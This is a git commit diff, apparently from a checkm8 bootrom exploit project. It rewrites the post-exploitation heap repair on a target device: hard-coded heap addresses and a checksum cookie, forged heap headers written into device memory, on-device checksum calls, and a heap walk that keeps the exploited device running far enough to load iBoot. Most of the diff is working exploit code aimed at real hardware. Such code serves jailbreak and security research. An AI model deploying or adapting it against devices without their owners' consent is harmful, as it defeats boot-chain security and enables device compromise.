Improve heap fixing (works now to get iBoot!)
This commit is contained in:
@@ -40,6 +40,10 @@
|
|||||||
#define ADDR_DEV_MEMALIGN 0x10000f380
|
#define ADDR_DEV_MEMALIGN 0x10000f380
|
||||||
#define ADDR_DEV_FREE 0x10000f1b0
|
#define ADDR_DEV_FREE 0x10000f1b0
|
||||||
|
|
||||||
|
#define ADDR_HEAP_COOKIE 0x180080640
|
||||||
|
#define ADDR_HEAP_BASE 0x1801b4000
|
||||||
|
#define ADDR_HEAP_END 0x1801fffc0
|
||||||
|
|
||||||
/* Misc */
|
/* Misc */
|
||||||
#define ADDR_RANDOM_RET 0x10000b924
|
#define ADDR_RANDOM_RET 0x10000b924
|
||||||
#define ADDR_SYNC_ENTRY 0x1800afc84
|
#define ADDR_SYNC_ENTRY 0x1800afc84
|
||||||
|
|||||||
@@ -17,6 +17,21 @@ struct aes_constants
|
|||||||
unsigned char rc_lookup[11];
|
unsigned char rc_lookup[11];
|
||||||
} __attribute__ ((packed));
|
} __attribute__ ((packed));
|
||||||
|
|
||||||
|
struct heap_header
|
||||||
|
{
|
||||||
|
unsigned long long chksum;
|
||||||
|
unsigned long long pad[3];
|
||||||
|
|
||||||
|
unsigned long long curr_size;
|
||||||
|
unsigned long long curr_free : 1;
|
||||||
|
|
||||||
|
unsigned long long prev_free : 1;
|
||||||
|
unsigned long long prev_size : (sizeof(unsigned long long) * 8 - 2);
|
||||||
|
|
||||||
|
unsigned long long pad_start;
|
||||||
|
unsigned long long pad_end;
|
||||||
|
} header;
|
||||||
|
|
||||||
struct bern_data
|
struct bern_data
|
||||||
{
|
{
|
||||||
double t[16][256];
|
double t[16][256];
|
||||||
|
|||||||
@@ -14,6 +14,7 @@
|
|||||||
|
|
||||||
#include <stdarg.h>
|
#include <stdarg.h>
|
||||||
#include <execinfo.h>
|
#include <execinfo.h>
|
||||||
|
#include <dev/addr.h>
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
@@ -182,23 +183,28 @@ void run_corr_exp(struct pwned_device *dev, char *fname)
|
|||||||
int main()
|
int main()
|
||||||
{
|
{
|
||||||
struct pwned_device *dev = exploit_device();
|
struct pwned_device *dev = exploit_device();
|
||||||
|
|
||||||
if(dev == NULL || dev->status == DEV_NORMAL)
|
if(dev == NULL || dev->status == DEV_NORMAL)
|
||||||
{
|
{
|
||||||
printf("Failed to exploit device\n");
|
printf("Failed to exploit device\n");
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
|
|
||||||
fix_heap(dev);
|
open_device_session(dev);
|
||||||
|
|
||||||
demote_device(dev);
|
demote_device(dev);
|
||||||
|
fix_heap(dev);
|
||||||
|
usb_task_exit(dev);
|
||||||
|
|
||||||
run_corr_exp(dev, "key00");
|
close_device_session(dev);
|
||||||
|
|
||||||
uninstall_all_data(dev);
|
|
||||||
uninstall_all_payloads(dev);
|
|
||||||
|
|
||||||
// crash!
|
// run_corr_exp(dev, "key00");
|
||||||
execute_gadget(dev, 0, 0, 0);
|
//
|
||||||
|
// uninstall_all_data(dev);
|
||||||
|
// uninstall_all_payloads(dev);
|
||||||
|
//
|
||||||
|
// // crash!
|
||||||
|
// execute_gadget(dev, 0, 0, 0);
|
||||||
free_device(dev);
|
free_device(dev);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -398,37 +398,118 @@ int demote_device(struct pwned_device *dev)
|
|||||||
int fix_heap(struct pwned_device *dev)
|
int fix_heap(struct pwned_device *dev)
|
||||||
{
|
{
|
||||||
checkm8_debug_indent("fix_heap(dev = %p)\n", dev);
|
checkm8_debug_indent("fix_heap(dev = %p)\n", dev);
|
||||||
int close;
|
struct heap_header block;
|
||||||
|
struct dev_cmd_resp *resp;
|
||||||
|
|
||||||
#if CHECKM8_PLATFORM == 8010
|
unsigned long long calc_args[5];
|
||||||
unsigned long long block1_data[4] = {0x80 / 0x40, ((0x840u / 0x40) << 2u), 0x80, 0};
|
int ret, i;
|
||||||
unsigned long long block2_data[4] = {0x80 / 0x40, ((0x80u / 0x40) << 2u), 0x80, 0};
|
|
||||||
unsigned long long block3_data[4] = {0x80 / 0x40, ((0x80u / 0x40) << 2u), 0x80, 0};
|
|
||||||
|
|
||||||
unsigned long long calc1_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9180, 0x1801b91a0, 32, 0x180080640};
|
#if CHECKM8_PLATFORM == 8010
|
||||||
unsigned long long calc2_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9200, 0x1801b9220, 32, 0x180080640};
|
unsigned long long prev_sizes[3] = {0x840 / 0x40, 0x80 / 0x40, 0x80 / 0x40};
|
||||||
unsigned long long calc3_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9280, 0x1801b92a0, 32, 0x180080640};
|
unsigned long long header_addr[3] = {0x1801b9180, 0x1801b9200, 0x1801b9280};
|
||||||
|
|
||||||
if(is_device_session_open(dev)) close = 0;
|
memset(&block, 0, sizeof(struct heap_header));
|
||||||
else
|
block.curr_size = (0x80 / 0x40);
|
||||||
|
block.pad_start = 0x80;
|
||||||
|
|
||||||
|
calc_args[0] = ADDR_CALC_CHKSUM;
|
||||||
|
//calc_args[1-2] block specific
|
||||||
|
calc_args[3] = 32;
|
||||||
|
calc_args[4] = ADDR_HEAP_COOKIE;
|
||||||
|
|
||||||
|
for(i = 0; i < 3; i++)
|
||||||
{
|
{
|
||||||
close = 1;
|
block.prev_size = prev_sizes[i];
|
||||||
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
resp = dev_write_memory(dev, header_addr[i], (unsigned char *) &block, sizeof(struct heap_header));
|
||||||
|
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||||
|
|
||||||
|
if(IS_CHECKM8_FAIL(ret))
|
||||||
{
|
{
|
||||||
checkm8_debug_indent("\tfailed to open a device session\n");
|
checkm8_debug_indent("\tfailed to write block %i header\n", i);
|
||||||
return CHECKM8_FAIL_XFER;
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
calc_args[1] = header_addr[i], calc_args[2] = header_addr[i] + 0x20;
|
||||||
|
resp = dev_exec(dev, 0, 5, calc_args);
|
||||||
|
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||||
|
|
||||||
|
if(IS_CHECKM8_FAIL(ret))
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\tfailed to calculate block %i checksum\n", i);
|
||||||
|
return ret;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
dev_write_memory(dev, 0x1801b91a0, (unsigned char *) block1_data, 64);
|
calc_args[0] = ADDR_CHECK_ALL_CHKSUMS;
|
||||||
dev_write_memory(dev, 0x1801b9220, (unsigned char *) block2_data, 64);
|
dev_exec(dev, 0, 1, calc_args);
|
||||||
dev_write_memory(dev, 0x1801b92a0, (unsigned char *) block3_data, 64);
|
calc_args[0] = ADDR_CALC_CHKSUM;
|
||||||
|
|
||||||
dev_exec(dev, 0, 5, calc1_args);
|
unsigned long long curr = ADDR_HEAP_BASE;
|
||||||
dev_exec(dev, 0, 5, calc2_args);
|
while(1)
|
||||||
dev_exec(dev, 0, 5, calc3_args);
|
{
|
||||||
|
resp = dev_read_memory(dev, curr, sizeof(struct heap_header));
|
||||||
|
memcpy(&block, resp->data, sizeof(struct heap_header));
|
||||||
|
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||||
|
|
||||||
if(close) close_device_session(dev);
|
if(IS_CHECKM8_FAIL(ret))
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\tfailed to walk heap at %llx\n", curr);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(curr + block.curr_size * 0x40 == ADDR_HEAP_END)
|
||||||
|
{
|
||||||
|
block.curr_size -= 1;
|
||||||
|
resp = dev_write_memory(dev, curr, (unsigned char *) &block, sizeof(struct heap_header));
|
||||||
|
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||||
|
|
||||||
|
if(IS_CHECKM8_FAIL(ret))
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\tfailed to write second-to-last block header\n");
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
calc_args[1] = curr, calc_args[2] = curr + 0x20, calc_args[3] = 48;
|
||||||
|
resp = dev_exec(dev, 0, 5, calc_args);
|
||||||
|
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||||
|
|
||||||
|
if(IS_CHECKM8_FAIL(ret))
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\tfailed to calculate second-to-last block checksum\n");
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
block.prev_free = block.curr_free;
|
||||||
|
block.prev_size = block.curr_size;
|
||||||
|
block.curr_free = 0;
|
||||||
|
block.curr_size = 1;
|
||||||
|
resp = dev_write_memory(dev, ADDR_HEAP_END - sizeof(struct heap_header),
|
||||||
|
(unsigned char *) &block, sizeof(struct heap_header));
|
||||||
|
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||||
|
|
||||||
|
if(IS_CHECKM8_FAIL(ret))
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\tfailed to write last block header\n");
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
calc_args[1] = ADDR_HEAP_END - sizeof(struct heap_header);
|
||||||
|
calc_args[2] = ADDR_HEAP_END - sizeof(struct heap_header) + 0x20;
|
||||||
|
calc_args[3] = 32;
|
||||||
|
resp = dev_exec(dev, 0, 5, calc_args);
|
||||||
|
ret = resp->ret, free_dev_cmd_resp(resp);
|
||||||
|
|
||||||
|
if(IS_CHECKM8_FAIL(ret))
|
||||||
|
{
|
||||||
|
checkm8_debug_indent("\tfailed to calculate last block checksum\n");
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
curr += block.curr_size * 0x40;
|
||||||
|
}
|
||||||
|
|
||||||
#else
|
#else
|
||||||
#error "Can't fix heap for unknown platform"
|
#error "Can't fix heap for unknown platform"
|
||||||
|
|||||||
Reference in New Issue
Block a user